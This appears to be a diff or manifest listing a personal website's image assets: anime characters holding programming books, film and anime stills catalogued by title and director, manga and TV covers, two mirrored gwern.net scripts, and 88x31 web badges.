+images/anime-girls-with-programming-books/SICP/Shima_Rin_Reading_SICP_2.png +images/anime-girls-with-programming-books/SICP/Shima_Rin_Yuru_SICP.png +images/anime-girls-with-programming-books/SICP/Shima_Rin_reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Shiori_Shiomiya_Holding_SICP.jpg +images/anime-girls-with-programming-books/SICP/Squid_Girl_Ikamusume_recommends_SICP.jpg +images/anime-girls-with-programming-books/SICP/Suetsugi_Konoha_hugging_SICP.jpg +images/anime-girls-with-programming-books/SICP/Suigintou_Smug_SICP.jpg +images/anime-girls-with-programming-books/SICP/Suminoe_Ako_Reads_SICP.png +images/anime-girls-with-programming-books/SICP/Suzukaze_Aoba_holding_SICP.png +images/anime-girls-with-programming-books/SICP/Tateishi_Shima_Reading_SICP.png +images/anime-girls-with-programming-books/SICP/Tenma_Gabriel_Yelling_SICP.png +images/anime-girls-with-programming-books/SICP/Tohru_Kobayashi_Holding_Structure_and_Interpretation_of_Computer_Programs.png +images/anime-girls-with-programming-books/SICP/Tomoko_Kuroki_Holding_SICP.jpg +images/anime-girls-with-programming-books/SICP/Urara_Shiratori_SICP.png +images/anime-girls-with-programming-books/SICP/Yagami_Kou_Starts_SICP.jpg +images/anime-girls-with-programming-books/SICP/Yamashita_reads_SICP.jpg +images/anime-girls-with-programming-books/SICP/Yukimura_Aoi_Reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Yuriko_Nanao_SICP.png +images/anime-girls-with-programming-books/SQL/Database_Principles_Programming_And_Performance.png +images/anime-girls-with-programming-books/SQL/Himawari_Furutani_Getting_Started_With_Sql.png +images/anime-girls-with-programming-books/SQL/Sayuki_Ayase_Fundamentals_of_Database_Systems.png.png +images/anime-girls-with-programming-books/Scala/Kurosawa_Ruby_Functional_Programming_In_Scala.png +images/anime-girls-with-programming-books/Scala/Senko-san_Scala.png +images/anime-girls-with-programming-books/Scala/Stable_Diffusion_Girl_Holding_Scala_Book.png +images/anime-girls-with-programming-books/Shell/Akko_Kagari_Classic_Shell_Scripting.jpg +images/anime-girls-with-programming-books/Shell/Misaka_Mikoto_Shell_Scripting.png +images/anime-girls-with-programming-books/Smalltalk/Hitori_Bocchi_Smalltalk_80.png +images/anime-girls-with-programming-books/Solidity/Rei_Solidity_Book.png +images/anime-girls-with-programming-books/Swift/5-Toubun-No-Hanayome_Nino-Nakano_Swift.png +images/anime-girls-with-programming-books/Swift/Karakai_Jouzu_No_Takagi_San_Swift.png +images/anime-girls-with-programming-books/Systems/Azabu_Mai_%CE%BCITRON4.0_Standard_Guidebook.png +images/anime-girls-with-programming-books/Systems/Azami_Cow_Book.jpg +images/anime-girls-with-programming-books/Systems/Hakurei_Reimu_reading_SerenityOS_Programming.png +images/anime-girls-with-programming-books/Systems/Kobayashi_Reading_Computer_Systems.png +images/anime-girls-with-programming-books/Systems/Kyoko_Toshino_holding_The_Linux_Programming_Interface.png +images/anime-girls-with-programming-books/Systems/Mitsuha_Miyamizu_holding_Modern_Operating_Systems.png +images/anime-girls-with-programming-books/Systems/Raphtalia_Holding_Operating_Systems_Design_and_Implementation.png +images/anime-girls-with-programming-books/Systems/Sakurajima_Mai_holding_SerenityOS_Programming.png +images/anime-girls-with-programming-books/Systems/shimarin_csapp.png +images/anime-girls-with-programming-books/Typescript/Abigail_Williams_Design_patterns_typescript.png +images/anime-girls-with-programming-books/Typescript/Beako_Reading_The_TypeScript_Programming_Language.png +images/anime-girls-with-programming-books/Typescript/Chito_Saving_Burning_Mastering_Typescript.png +images/anime-girls-with-programming-books/Typescript/Consort_Yu_Typescript_starter.png +images/anime-girls-with-programming-books/Typescript/Hanako_Reading_Programming_TypeScript.jpg +images/anime-girls-with-programming-books/Typescript/Izumi_Konata_Essential_Typescript.png +images/anime-girls-with-programming-books/Typescript/Morgan_le_Fay_Typescript_pros.png +images/anime-girls-with-programming-books/Typescript/Scathach_Medb_Typescript_stacks.png +images/anime-girls-with-programming-books/Typescript/Sesshouin_kiara_Angular_typescript.png +images/anime-girls-with-programming-books/Typescript/Sesshouin_kiara_Microservice_typescript.png +images/anime-girls-with-programming-books/Typescript/Shalltear_Bloodfallen_Holding_Effective_Typescript.png +images/anime-girls-with-programming-books/Typescript/Shouko_Komi_Holding_Functional_Programming_in_TypeScript.png +images/anime-girls-with-programming-books/Typescript/Teruhashi_Kokomi_Reading_Essential_Typescript_In_The_Bathroom.png +images/anime-girls-with-programming-books/Typescript/inugami_korone_effective_typescript.png +images/anime-girls-with-programming-books/UEFI/Rukino_Harnessing_the_UEFI_Shell.png +images/anime-girls-with-programming-books/Uncategorized/Ikuyo_Kita_Holding_Arduino_Book.jpg +images/anime-girls-with-programming-books/Uncategorized/Kitagawa_Marin_Holding_Nature_of_Code.png +images/anime-girls-with-programming-books/Uncategorized/Mary_Smith_Holding_Computer_Communications_And_Networks_Book.jpg +images/anime-girls-with-programming-books/Uncategorized/Nagato_Yuki_Reading_Starplex.jpg +images/anime-girls-with-programming-books/Uncategorized/Reimi_Sugimoto_Clean_Code.png +images/anime-girls-with-programming-books/Uncategorized/Ritsuko_Reads_Orly_Meme_Book.png +images/anime-girls-with-programming-books/Uncategorized/Shouko_Nishimiya_Holds_HTML_4_Portuguese.png +images/anime-girls-with-programming-books/Uncategorized/Takashima_Momoka_reading_Hardcore_Programming.png +images/anime-girls-with-programming-books/Uncategorized/Vigne_holds_Concepts_of_Programming_Languages_by_Sebesta.png +images/anime-girls-with-programming-books/Uncategorized/Yuri_holding_ScratchJr_Book.png +images/anime-girls-with-programming-books/Unity/Rimuru_Tempest_Unity.png +images/anime-girls-with-programming-books/Unreal/Unreal_Engine_4_x_Scripting_with_C%2B%2B_Cookbook.jpg +images/anime-girls-with-programming-books/V/Mai_Sakurajima_Getting_Started_with_V_Programming.png +images/anime-girls-with-programming-books/V/Mai_Sakurajima_Getting_Started_with_V_Programming_2.png +images/anime-girls-with-programming-books/V/Takunomi_Nao-Kiriyama_V.png +images/anime-girls-with-programming-books/VHDL/Frederica_Greenhill_Holding_Free_Range_VHDL.png +images/anime-girls-with-programming-books/Verilog/Dita_Verilog_HDL.png +images/anime-girls-with-programming-books/Verilog/Misaka_Mikoto_Digital_Logic_With_An_Introduction_To_Verilog_And_FPGA-Based_Design.png +images/anime-girls-with-programming-books/Verilog/Saber_Reading_Advanced_Digital_System_Design_Verilog.png +images/anime-girls-with-programming-books/Visual%20Basic/Hirasawa_Yui_With_VBA_2008.png +images/anime-girls-with-programming-books/Visual%20Basic/Komi_holding_Excel_VBA_Language.png +images/anime-girls-with-programming-books/VueJS/Renge_Miyauchi_VueJS.png +images/anime-girls-with-programming-books/VueJS/Shiina_Murakami_Vuejs_Up_And_Running.png +images/anime-girls-with-programming-books/Vulkan/Arima_Kana_Vulkan_Programming_Guide.png +images/anime-girls-with-programming-books/Vulkan/Jashin_Chan_Vulkan_Programming_Guide.png +images/anime-girls-with-programming-books/Vulkan/Kaname_Madoka_Vulkan_Programming_Guide.png +images/anime-girls-with-programming-books/Vulkan/Saeko_Yukihira_Vulkan_Programming_Guide.png +images/anime-girls-with-programming-books/WebGL/Naru_and_Hana_from_Hanayamata_WebGL_par_la_pratique%28french_book%29.png +images/anime-girls-with-programming-books/Zig/Cheyanne_holding_Systems_Programming_with_Zig.png +images/anime-girls-with-programming-books/Zig/Persicaria_holding_Introduction_to_Zig.png +images/anime/1985-angels-egg-mamoru-oshii.jpeg +images/anime/1988-legend-of-the-galactic-heroes-noboru-ishiguro.jpg +images/anime/1995-ghost-in-the-shell-mamoru-oshii.jpg +images/anime/1995-neon-genesis-evangelion-hideaki-anno.jpg +images/anime/1998-cowboy-bebop-shinichiro-watanabe.jpg +images/anime/1998-serial-experiments-lain-ryutaro-nakamura.jpg +images/anime/2000-flcl-kazuya-tsurumaki.jpg +images/anime/2002-haibane-renmei-tomokazu-tokoro.jpg +images/anime/2003-texhnolyze-hiroshi-hamasaki.jpg +images/anime/2004-elfen-lied-mamoru-kanbe.jpg +images/anime/2005-speed-grapher-kunihisa-sugishima.jpeg +images/anime/2006-death-note-tetsuro-araki.jpg +images/anime/2006-ergo-proxy-shuko-murase.jpg +images/anime/2010-the-tatami-galaxy-masaaki-yuasa.png +images/anime/2013-the-tale-of-princess-kaguya-isao-takahata.jpg +images/anime/2018-that-time-i-got-reincarnated-as-a-slime-yasuhito-kikuchi.jpg +images/anime/2023-frieren-beyond-journeys-end-keiichiro-saito.jpg +images/anime/2024-wistoria-wand-and-sword-tatsuya-yoshihara.jpg +images/anime/posters +images/anime/posters/${filename}` +images/bookstores/frugal-muse.jpg +images/bookstores/the-village-booksmith.jpg +images/film/1927-topsy-and-eva-del-lord.jpg +images/film/1929-diary-of-a-lost-girl-gw-pabst.jpg +images/film/1941-citizen-kane-orson-welles.jpg +images/film/1942-casablanca-michael-curtiz.jpg +images/film/1950-all-about-eve-joseph-l-mankiewicz.jpg +images/film/1960-les-yeux-sans-visage-georges-franju.jpg +images/film/1961-breakfast-at-tiffanys-blake-edwards.jpg +images/film/1975-jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman.png +images/film/1975-picnic-at-hanging-rock-peter-weir.jpg +images/film/1980-the-shining-stanley-kubrick.jpg +images/film/1981-possession-andrzej-zulawski.jpg +images/film/1985-the-breakfast-club-john-hughes.webp +images/film/1989-heathers-michael-lehmann.jpg +images/film/1990-house-party-reginald-hudlin.webp +images/film/1990-mermaids-richard-benjamin.jpg +images/film/1991-night-on-earth-jim-jarmusch.jpg +images/film/1994-pulp-fiction-quentin-tarantino.jpg +images/film/1997-lost-highway-david-lynch.png +images/film/1997-perfect-blue-satoshi-kon.jpeg +images/film/1999-girl-interrupted-james-mangold.png +images/film/2000-love-and-basketball-gina-prince-bythewood.jpg +images/film/2001-a-space-odyssey-stanley-kubrick-1968.jpg +images/film/2001-mulholland-drive-david-lynch.jpg +images/film/2025-weapons-zach-cregger.jpg +images/film/812-federico-fellini-1963.jpg +images/film/a-bout-de-souffle-jean-luc-godard-1960.jpg +images/film/a-brighter-summer-day-edward-yang-1991.jpg +images/film/a-canterbury-tale-michael-powell-1944.jpg +images/film/a-city-of-sadness-hou-hsiao-hsien-1989.jpg +images/film/a-clockwork-orange-stanley-kubrick-1971.jpg +images/film/a-man-escaped-robert-bresson-1956.jpg +images/film/a-matter-of-life-and-death-michael-powell-1946.jpg +images/film/a-touch-of-zen-king-hu-1971.jpg +images/film/a-woman-under-the-influence-john-cassavetes-1974.jpg +images/film/aguirre-wrath-of-god-werner-herzog-1972.jpg +images/film/alien-ridley-scott-1979.jpg +images/film/all-about-eve-joseph-l-mankiewicz-1950.jpg +images/film/all-about-my-mother-pedro-almodovar-1999.jpg +images/film/all-that-heaven-allows-douglas-sirk-1955.jpg +images/film/amarcord-federico-fellini-1973.jpg +images/film/an-autumn-afternoon-yasujiro-ozu-1962.jpg +images/film/andrei-rublev-andrei-tarkovsky-1966.jpg +images/film/annie-hall-woody-allen-1977.jpg +images/film/apocalypse-now-francis-ford-coppola-1979.jpg +images/film/army-of-shadows-jean-pierre-melville-1969.jpg +images/film/as-i-was-moving-ahead-occasionally-i-saw-brief-glimpses-of-beauty-jonas-mekas-2000.jpg +images/film/au-hasard-balthazar-robert-bresson-1966.jpg +images/film/barry-lyndon-stanley-kubrick-1975.jpg +images/film/battleship-potemkin-sergei-eisenstein-1925.jpg +images/film/beau-travail-claire-denis-1999.jpg +images/film/bicycle-thieves-vittorio-de-sica-1948.jpg +images/film/black-girl-ousmane-sembene-1966.jpg +images/film/black-narcissus-michael-powell-1947.jpg +images/film/blade-runner-ridley-scott-1982.jpg +images/film/blue-derek-jarman-1993.jpg +images/film/blue-velvet-david-lynch-1986.jpg +images/film/born-in-flames-lizzie-borden-1983.jpg +images/film/brief-encounter-david-lean-1945.jpg +images/film/bringing-up-baby-howard-hawks-1938.jpg +images/film/by-the-bluest-of-seas-boris-barnet-1936.jpg +images/film/casablanca-michael-curtiz-1942.jpg +images/film/celine-and-julie-go-boating-jacques-rivette-1974.jpg +images/film/charulata-satyajit-ray-1964.jpg +images/film/chinatown-roman-polanski-1974.jpg +images/film/chungking-express-wong-kar-wai-1994.jpg +images/film/citizen-kane-orson-welles-1941.jpg +images/film/city-lights-charles-chaplin-1931.jpg +images/film/cleo-from-5-to-7-agnes-varda-1962.jpg +images/film/close-up-abbas-kiarostami-1990.jpg +images/film/come-and-see-elem-klimov-1985.jpg +images/film/crash-david-cronenberg-1996.jpg +images/film/cries-and-whispers-ingmar-bergman-1972.jpg +images/film/daisies-vera-chytilova-1966.jpg +images/film/daughters-of-the-dust-julie-dash-1991.jpg +images/film/days-of-heaven-terrence-malick-1978.jpg +images/film/distant-voices-still-lives-terence-davies-1988.jpg +images/film/do-the-right-thing-spike-lee-1989.jpg +images/film/dont-look-now-nicolas-roeg-1973.jpg +images/film/double-indemnity-billy-wilder-1944.jpg +images/film/dr-strangelove-stanley-kubrick-1964.jpg +images/film/duck-soup-leo-mccarey-1933.jpg +images/film/earth-alexander-dovzhenko-1930.jpg +images/film/europa-51-roberto-rossellini-1952.jpg +images/film/fanny-and-alexander-ingmar-bergman-1982.jpg +images/film/fear-eats-the-soul-rainer-werner-fassbinder-1974.jpg +images/film/flowers-of-shanghai-hou-hsiao-hsien-1998.jpg +images/film/gertrud-carl-theodor-dreyer-1964.jpg +images/film/get-out-jordan-peele-2017.jpg +images/film/goodbye-dragon-inn-tsai-ming-liang-2003.jpg +images/film/goodfellas-martin-scorsese-1990.jpg +images/film/grave-of-the-fireflies-isao-takahata-1988.jpg +images/film/greed-erich-von-stroheim-1924.jpg +images/film/happy-together-wong-kar-wai-1997.jpg +images/film/harlan-county-usa-barbara-kopple-1976.jpg +images/film/heat-michael-mann-1995.jpg +images/film/hiroshima-mon-amour-alain-resnais-1959.jpg +images/film/his-girl-friday-howard-hawks-1940.jpg +images/film/histoires-du-cinema-jean-luc-godard-1998.jpg +images/film/i-know-where-im-going-michael-powell-1945.jpg +images/film/ikiru-akira-kurosawa-1952.jpg +images/film/imitation-of-life-douglas-sirk-1959.jpg +images/film/in-a-lonely-place-nicholas-ray-1950.jpg +images/film/in-the-mood-for-love-wong-kar-wai-2000.jpg +images/film/in-vandas-room-pedro-costa-2000.jpg +images/film/india-song-marguerite-duras-1975.jpg +images/film/intolerance-dw-griffith-1916.jpg +images/film/its-a-wonderful-life-frank-capra-1946.jpg +images/film/jaws-steven-spielberg-1975.jpg +images/film/je-tu-il-elle-chantal-akerman-1974.jpg +images/film/jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman-1975.jpg +images/film/johnny-guitar-nicholas-ray-1954.jpg +images/film/journey-to-italy-roberto-rossellini-1954.jpg +images/film/killer-of-sheep-charles-burnett-1978.jpg +images/film/la-cienaga-lucrecia-martel-2001.jpg +images/film/la-dolce-vita-federico-fellini-1960.jpg +images/film/la-grande-illusion-jean-renoir-1937.jpg +images/film/la-jetee-chris-marker-1962.jpg +images/film/la-maman-et-la-putain-jean-eustache-1973.jpg +images/film/la-regle-du-jeu-jean-renoir-1939.jpg +images/film/largent-robert-bresson-1983.jpg +images/film/last-year-at-marienbad-alain-resnais-1961.jpg +images/film/latalante-jean-vigo-1934.jpg +images/film/late-spring-yasujiro-ozu-1949.jpg +images/film/lavventura-michelangelo-antonioni-1960.jpg +images/film/lawrence-of-arabia-david-lean-1962.jpg +images/film/le-bonheur-agnes-varda-1965.jpg +images/film/le-mepris-jean-luc-godard-1963.jpg +images/film/leclisse-michelangelo-antonioni-1962.jpg +images/film/les-demoiselles-de-rochefort-jacques-demy-1967.jpg +images/film/les-enfants-du-paradis-marcel-carne-1945.jpg +images/film/letter-from-an-unknown-woman-max-ophuls-1948.jpg +images/film/limite-mario-peixoto-1931.jpg +images/film/los-olvidados-luis-bunuel-1950.jpg +images/film/love-streams-john-cassavetes-1984.jpg +images/film/m-fritz-lang-1931.jpg +images/film/mad-max-fury-road-george-miller-2015.jpg +images/film/madame-de-max-ophuls-1953.jpg +images/film/magnolia-paul-thomas-anderson-1999.jpg +images/film/man-with-a-movie-camera-dziga-vertov-1929.jpg +images/film/meghe-dhaka-tara-ritwik-ghatak-1960.jpg +images/film/melancholia-lars-von-trier-2011.jpg +images/film/memories-of-underdevelopment-tomas-gutierrez-alea-1968.jpg +images/film/meshes-of-the-afternoon-maya-deren-1943.jpg +images/film/metropolis-fritz-lang-1927.jpg +images/film/mirror-andrei-tarkovsky-1975.jpg +images/film/modern-times-charles-chaplin-1936.jpg +images/film/moonlight-barry-jenkins-2016.jpg +images/film/morvern-callar-lynne-ramsay-2002.jpg +images/film/mouchette-robert-bresson-1967.jpg +images/film/mulholland-dr-david-lynch-2001.jpg +images/film/my-darling-clementine-john-ford-1946.jpg +images/film/my-neighbour-totoro-hayao-miyazaki-1988.jpg +images/film/napoleon-abel-gance-1927.jpg +images/film/nashville-robert-altman-1975.jpg +images/film/news-from-home-chantal-akerman-1977.jpg +images/film/north-by-northwest-alfred-hitchcock-1959.jpg +images/film/nosferatu-fw-murnau-1922.jpg +images/film/nostalgia-for-the-light-patricio-guzman-2010.jpg +images/film/notorious-alfred-hitchcock-1946.jpg +images/film/once-upon-a-time-in-america-sergio-leone-1984.jpg +images/film/once-upon-a-time-in-the-west-sergio-leone-1968.jpg +images/film/one-way-or-another-sara-gomez-1977.jpg +images/film/only-angels-have-wings-howard-hawks-1939.jpg +images/film/ordet-carl-th-dreyer-1955.jpg +images/film/orlando-sally-potter-1992.jpg +images/film/out-1-jacques-rivette-1971.jpg +images/film/out-of-the-past-jacques-tourneur-1947.jpg +images/film/paisan-roberto-rossellini-1946.jpg +images/film/pandoras-box-gw-pabst-1929.jpg +images/film/parasite-bong-joon-ho-2019.jpg +images/film/paris-is-burning-jennie-livingston-1990.jpg +images/film/paris-texas-wim-wenders-1984.jpg +images/film/partie-de-campagne-jean-renoir-1936.jpg +images/film/pather-panchali-satyajit-ray-1955.jpg +images/film/persona-ingmar-bergman-1966.jpg +images/film/petite-maman-celine-sciamma-2021.jpg +images/film/pickpocket-robert-bresson-1959.jpg +images/film/pierrot-le-fou-jean-luc-godard-1965.jpg +images/film/pink-flamingos-john-waters-1972.jpg +images/film/playtime-jacques-tati-1967.jpg +images/film/portrait-of-a-lady-on-fire-celine-sciamma-2019.jpg +images/film/possession-andrzej-zuawski-1981.jpg +images/film/psycho-alfred-hitchcock-1960.jpg +images/film/pulp-fiction-quentin-tarantino-1994.jpg +images/film/pyaasa-guru-dutt-1957.jpg +images/film/raging-bull-martin-scorsese-1980.jpg +images/film/raiders-of-the-lost-ark-steven-spielberg-1981.jpg +images/film/ran-akira-kurosawa-1985.jpg +images/film/rashomon-akira-kurosawa-1950.jpg +images/film/rear-window-alfred-hitchcock-1954.jpg +images/film/red-desert-michelangelo-antonioni-1964.jpg +images/film/rio-bravo-howard-hawks-1959.jpg +images/film/sambizanga-sarah-maldoror-1972.jpg +images/film/sans-soleil-chris-marker-1983.jpg +images/film/sansho-the-bailiff-kenji-mizoguchi-1954.jpg +images/film/satantango-bela-tarr-1994.jpg +images/film/seven-samurai-akira-kurosawa-1954.jpg +images/film/sherlock-jr-buster-keaton-1924.jpg +images/film/shoah-claude-lanzmann-1985.jpg +images/film/singin-in-the-rain-gene-kelly-1952.jpg +images/film/soleil-o-med-hondo-1970.jpg +images/film/some-like-it-hot-billy-wilder-1959.jpg +images/film/spirited-away-hayao-miyazaki-2001.jpg +images/film/stalker-andrei-tarkovsky-1979.jpg +images/film/star-wars-george-lucas-1977.jpg +images/film/sullivans-travels-preston-sturges-1941.jpg +images/film/sunrise-a-song-of-two-humans-fw-murnau-1927.jpg +images/film/sunset-blvd-billy-wilder-1950.jpg +images/film/suspiria-dario-argento-1977.jpg +images/film/symbiopsychotaxiplasm-take-one-william-greaves-1968.jpg +images/film/syndromes-and-a-century-apichatpong-weerasethakul-2006.jpg +images/film/taste-of-cherry-abbas-kiarostami-1997.jpg +images/film/taxi-driver-martin-scorsese-1976.jpg +images/film/the-400-blows-francois-truffaut-1959.jpg +images/film/the-apartment-billy-wilder-1960.jpg +images/film/the-ascent-larisa-shepitko-1977.jpg +images/film/the-battle-of-algiers-gillo-pontecorvo-1966.jpg +images/film/the-birds-alfred-hitchcock-1963.jpg +images/film/the-color-of-pomegranates-sergei-parajanov-1969.jpg +images/film/the-conformist-bernardo-bertolucci-1970.jpg +images/film/the-crowd-king-vidor-1928.jpg +images/film/the-deer-hunter-michael-cimino-1978.jpg +images/film/the-exterminating-angel-luis-bunuel-1962.jpg +images/film/the-general-buster-keaton-1926.jpg +images/film/the-gleaners-and-i-agnes-varda-2000.jpg +images/film/the-godfather-francis-ford-coppola-1972.jpg +images/film/the-godfather-part-ii-francis-ford-coppola-1974.jpg +images/film/the-good-the-bad-and-the-ugly-sergio-leone-1966.jpg +images/film/the-gospel-according-to-st-matthew-pier-paolo-pasolini-1964.jpg +images/film/the-green-ray-eric-rohmer-1986.jpg +images/film/the-headless-woman-lucrecia-martel-2008.jpg +images/film/the-hour-of-the-furnaces-fernando-solanas-1968.jpg +images/film/the-house-is-black-forough-farrokhzad-1963.jpg +images/film/the-intruder-claire-denis-2004.jpg +images/film/the-last-laugh-fw-murnau-1924.jpg +images/film/the-leopard-luchino-visconti-1963.jpg +images/film/the-life-and-death-of-colonel-blimp-michael-powell-1943.jpg +images/film/the-magnificent-ambersons-orson-welles-1942.jpg +images/film/the-man-who-shot-liberty-valance-john-ford-1962.jpg +images/film/the-matrix-lana-wachowski-1999.jpg +images/film/the-night-of-the-hunter-charles-laughton-1955.jpg +images/film/the-passion-of-joan-of-arc-carl-theodor-dreyer-1928.jpg +images/film/the-piano-jane-campion-1993.jpg +images/film/the-quince-tree-sun-victor-erice-1992.jpg +images/film/the-red-shoes-michael-powell-1948.jpg +images/film/the-river-jean-renoir-1951.jpg +images/film/the-searchers-john-ford-1956.jpg +images/film/the-seventh-seal-ingmar-bergman-1957.jpg +images/film/the-shining-stanley-kubrick-1980.jpg +images/film/the-spirit-of-the-beehive-victor-erice-1973.jpg +images/film/the-texas-chain-saw-massacre-tobe-hooper-1974.jpg +images/film/the-thing-john-carpenter-1982.jpg +images/film/the-third-man-carol-reed-1949.jpg +images/film/the-tree-of-life-terrence-malick-2011.jpg +images/film/the-umbrellas-of-cherbourg-jacques-demy-1964.jpg +images/film/the-watermelon-woman-cheryl-dunye-1996.jpg +images/film/the-wild-bunch-sam-peckinpah-1969.jpg +images/film/the-wizard-of-oz-victor-fleming-1939.jpg +images/film/there-will-be-blood-paul-thomas-anderson-2007.jpg +images/film/to-be-or-not-to-be-ernst-lubitsch-1942.jpg +images/film/tokyo-story-yasujiro-ozu-1953.jpg +images/film/touch-of-evil-orson-welles-1958.jpg +images/film/touki-bouki-djibril-diop-mambety-1973.jpg +images/film/tropical-malady-apichatpong-weerasethakul-2004.jpg +images/film/trouble-in-paradise-ernst-lubitsch-1932.jpg +images/film/twenty-years-later-eduardo-coutinho-1984.jpg +images/film/twin-peaks-fire-walk-with-me-david-lynch-1992.jpg +images/film/twin-peaks-the-return-david-lynch-2017.jpg +images/film/ugetsu-monogatari-kenji-mizoguchi-1953.jpg +images/film/un-chien-andalou-luis-bunuel-1929.jpg +images/film/uncle-boonmee-who-can-recall-his-past-lives-apichatpong-weerasethakul-2010.jpg +images/film/under-the-skin-jonathan-glazer-2013.jpg +images/film/vagabond-agnes-varda-1985.jpg +images/film/vampyr-carl-theodor-dreyer-1932.jpg +images/film/vertigo-alfred-hitchcock-1958.jpg +images/film/videodrome-david-cronenberg-1983.jpg +images/film/vivre-sa-vie-jean-luc-godard-1962.jpg +images/film/wanda-barbara-loden-1970.jpg +images/film/wavelength-michael-snow-1967.jpg +images/film/werckmeister-harmonies-bela-tarr-2000.jpg +images/film/west-indies-med-hondo-1979.jpg +images/film/west-of-the-tracks-wang-bing-2003.jpg +images/film/where-is-the-friends-house-abbas-kiarostami-1987.jpg +images/film/wild-strawberries-ingmar-bergman-1957.jpg +images/film/wings-of-desire-wim-wenders-1987.jpg +images/film/yi-yi-edward-yang-2000.jpg +images/film/zama-lucrecia-martel-2017.jpg +images/literature/1813-pride-and-prejudice-penguin-classics.jpg +images/literature/2005-never-let-me-go-kazuo-ishiguro.jpg +images/manga/1987-tomie-junji-ito.jpg +images/manga/1991-perfect-blue-yoshikazu-takeuchi.jpeg +images/manga/1998-uzumaki-junji-ito.jpg +images/manga/2007-fraction-shintaro-kago.jpg +images/manga/2008-omoide-emanon-kenji-tsuruta.jpg +images/manga/2009-aku-no-hana-shuzo-oshimi.png +images/manga/2013-venus-in-the-blind-spot-junji-ito.jpg +images/manga/2015-that-time-i-got-reincarnated-as-a-slime-taiki-kawakami.jpg +images/manga/2017-chi-no-wadachi-shuzo-oshimi.jpg +images/people/authors/ +images/people/authors/` +images/posts/news/gemini-1.5-pro-context-comparison.mp4 +images/tv/1976-charlies-angels-ivan-goff-ben-roberts.jpg +images/tv/2000-gilmore-girls-amy-sherman-palladino.jpg +images/tv/2007-gossip-girl-josh-schwartz-stephanie-savage.jpg +images/tv/2009-the-vampire-diaries-kevin-williamson-julie-plec.jpg +images/tv/2018-the-haunting-of-hill-house-mike-flanagan.jpg +images/tv/2020-bridgerton-chris-van-dusen.jpg +mirrors/gwer +mirrors/gwern.net/js/404-guesser.js +mirrors/gwern.net/js/utility.js +photos/ +photos/Misc/88x31/1.png +photos/Misc/88x31/2.gif +photos/Misc/88x31/22.png +photos/Misc/88x31/3.gif +photos/Misc/88x31/3dsowner.jpg +photos/Misc/88x31/5.gif +photos/Misc/88x31/a10.png +photos/Misc/88x31/a100.gif +photos/Misc/88x31/a108.gif +photos/Misc/88x31/a109.gif +photos/Misc/88x31/a11.gif +photos/Misc/88x31/a110.gif +photos/Misc/88x31/a111.gif +photos/Misc/88x31/a112.gif +photos/Misc/88x31/a118.gif +photos/Misc/88x31/a12.gif +photos/Misc/88x31/a121.png +photos/Misc/88x31/a122.gif +photos/Misc/88x31/a123.gif +photos/Misc/88x31/a124.gif +photos/Misc/88x31/a125.gif +photos/Misc/88x31/a126.gif +photos/Misc/88x31/a127.gif +photos/Misc/88x31/a128.gif +photos/Misc/88x31/a129.gif +photos/Misc/88x31/a13.gif +photos/Misc/88x31/a130.gif +photos/Misc/88x31/a131.gif +photos/Misc/88x31/a14.gif +photos/Misc/88x31/a16.gif +photos/Misc/88x31/a19.gif +photos/Misc/88x31/a2.gif +photos/Misc/88x31/a20.gif +photos/Misc/88x31/a25.gif +photos/Misc/88x31/a26.gif +photos/Misc/88x31/a28.gif +photos/Misc/88x31/a29.gif +photos/Misc/88x31/a31.gif +photos/Misc/88x31/a32.gif +photos/Misc/88x31/a34.gif +photos/Misc/88x31/a35.gif +photos/Misc/88x31/a36.gif +photos/Misc/88x31/a38.gif +photos/Misc/88x31/a4.png +photos/Misc/88x31/a40.gif +photos/Misc/88x31/a42.png +photos/Misc/88x31/a47.gif +photos/Misc/88x31/a48.gif +photos/Misc/88x31/a49.png +photos/Misc/88x31/a50.png +photos/Misc/88x31/a51.png +photos/Misc/88x31/a54.gif +photos/Misc/88x31/a6.gif +photos/Misc/88x31/a61.gif +photos/Misc/88x31/a62.gif +photos/Misc/88x31/a63.gif +photos/Misc/88x31/a68.gif +photos/Misc/88x31/a74.gif +photos/Misc/88x31/a76.gif +photos/Misc/88x31/a77.gif +photos/Misc/88x31/a78.gif +photos/Misc/88x31/a8.png +photos/Misc/88x31/a80.gif +photos/Misc/88x31/a81.gif +photos/Misc/88x31/a83.gif +photos/Misc/88x31/a84.gif +photos/Misc/88x31/a85.gif +photos/Misc/88x31/a86.gif +photos/Misc/88x31/a87.gif +photos/Misc/88x31/a88.gif +photos/Misc/88x31/a89.gif +photos/Misc/88x31/a90.gif +photos/Misc/88x31/a91.gif +photos/Misc/88x31/a92.gif +photos/Misc/88x31/a93.gif +photos/Misc/88x31/a94.gif +photos/Misc/88x31/a95.gif +photos/Misc/88x31/a96.gif +photos/Misc/88x31/a97.png +photos/Misc/88x31/a98.png +photos/Misc/88x31/a99.png +photos/Misc/88x31/b1.gif +photos/Misc/88x31/b10.gif +photos/Misc/88x31/b11.gif +photos/Misc/88x31/b14.png +photos/Misc/88x31/b16.png +photos/Misc/88x31/b6.gif +photos/Misc/88x31/b7.gif +photos/Misc/88x31/bad-apple.webp +photos/Misc/88x31/c2.png +photos/Misc/88x31/c4.gif +photos/Misc/88x31/d15.gif +photos/Misc/88x31/d19.gif +photos/Misc/88x31/d4.gif +photos/Misc/88x31/d5.gif +photos/Misc/88x31/d7.gif +photos/Misc/88x31/d8.gif +photos/Misc/88x31/e10.gif +photos/Misc/88x31/e11.gif +photos/Misc/88x31/e12.gif +photos/Misc/88x31/e13.gif +photos/Misc/88x31/e14.gif +photos/Misc/88x31/e17.gif +photos/Misc/88x31/e21.gif +photos/Misc/88x31/e22.gif +photos/Misc/88x31/e23.gif +photos/Misc/88x31/e24.gif +photos/Misc/88x31/e28.gif +photos/Misc/88x31/e39.gif +photos/Misc/88x31/e7.gif +photos/Misc/88x31/edited-with-vim.gif +photos/Misc/88x31/f10.gif +photos/Misc/88x31/f11.gif +photos/Misc/88x31/f12.gif +photos/Misc/88x31/f13.gif +photos/Misc/88x31/f15.gif +photos/Misc/88x31/f19.gif +photos/Misc/88x31/f2.gif +photos/Misc/88x31/f25.gif +photos/Misc/88x31/f26.gif +photos/Misc/88x31/f4.gif +photos/Misc/88x31/f5.gif +photos/Misc/88x31/f7.gif +photos/Misc/88x31/f8.gif +photos/Misc/88x31/f9.gif +photos/Misc/88x31/free-speech-forever.gif +photos/Misc/88x31/g6.gif +photos/Misc/88x31/g7.gif +photos/Misc/88x31/g8.gif 